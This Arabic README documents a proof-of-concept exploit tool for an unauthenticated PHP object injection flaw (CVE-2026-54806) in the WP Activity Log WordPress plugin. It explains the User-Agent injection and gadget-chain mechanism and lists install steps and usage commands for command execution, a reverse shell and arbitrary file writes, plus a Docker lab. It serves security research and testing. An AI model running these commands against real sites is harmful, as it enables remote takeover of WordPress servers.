إثبات المفهوم (PoC) لثغرة PHP Object Injection في WP Activity Log (CVE-2026-54806)

📜 الوصف

CVE-2026-54806 هي ثغرة حرجة (CVSS 9.8) من نوع PHP Object Injection غير مصادق عليها في إضافة WordPress الخاصة بـ WP Activity Log (wp-security-audit-log) من Melapress. يمكن لمهاجم غير مصادَق حقن كائنات PHP مُسلسَلة عبر ترويسة User-Agent في أي طلب يؤدي إلى تسجيل حدث (على سبيل المثال، فشل تسجيل الدخول). يتم تخزين الحمولة المحقونة في قاعدة البيانات وإلغاء تسلسلها دون قيود عندما يزور المدير لوحة تحكم WordPress، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد بشكل أعمى (blind RCE) دون إرجاع أي مخرجات إلى المهاجم.

الإضافة المتأثرة: WP Activity Log <= 5.6.3.1 (تم الإصلاح في 5.6.4)

المطلوب لتفعيل RCE: WordPress 6.4.0 - 6.4.1 — يستخدم هذا الـ PoC أداة WP_HTML_Token gadget، وهي سلسلة نواة WP الوحيدة التي تحتوي على خصائص عامة بالكامل، وتنجو من sanitize_text_field() وتناسب حد العمود البالغ 255 حرفًا.

✨ الميزات

فحص الثغرة — كشف غير تخريبي عبر --check
تنفيذ الأوامر — حقن الأوامر عبر --command
شل عكسي — حقن شل عكسي عبر --shell
كتابة الملفات — كتابة ملفات عبر --write-file
لا يتطلب مصادقة — يتم حقن الحمولة عبر User-Agent الخاص بتسجيل دخول فاشل
RCE أعمى — لا يتم إرجاع مخرجات الأوامر؛ استخدم الشل العكسي أو كتابة الملفات للتفاعل

🛠️ التثبيت

OSX/Linux

git clone https://github.com/joshuavanderpoll/CVE-2026-54806.git
cd CVE-2026-54806
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt

Windows

git clone https://github.com/joshuavanderpoll/CVE-2026-54806.git
cd CVE-2026-54806
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt

⚙️ الاستخدام

python3 cve-2026-54806.py -t <target> --check
python3 cve-2026-54806.py -t <target> --command <cmd>
python3 cve-2026-54806.py -t <target> --shell --lhost <ip> --lport <port>
python3 cve-2026-54806.py -t <target> --write-file <content> <path>

🐋 إثبات المفهوم (PoC) عبر Docker

مختبر مكتفٍ بذاته مع WordPress 6.4.1 + WP Activity Log 5.6.3.1. راجع DOCKER.md للتفاصيل.

cd docker
docker compose up -d
python3 cve-2026-54806.py -t http://localhost:8080 --check

يتضمن المختبر admin-bot يزور لوحة التحكم كل 60 ثانية، لذلك تُنفَّذ الحمولات المحقونة تلقائيًا — دون الحاجة إلى أي تفاعل يدوي.

🕵🏼 المراجع

📢 إخلاء المسؤولية

تُقدَّم هذه الأداة لأغراض تعليمية وبحثية فقط. لا يتحمل المنشئ أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.

CVE-2026-54806

الأكثر شعبية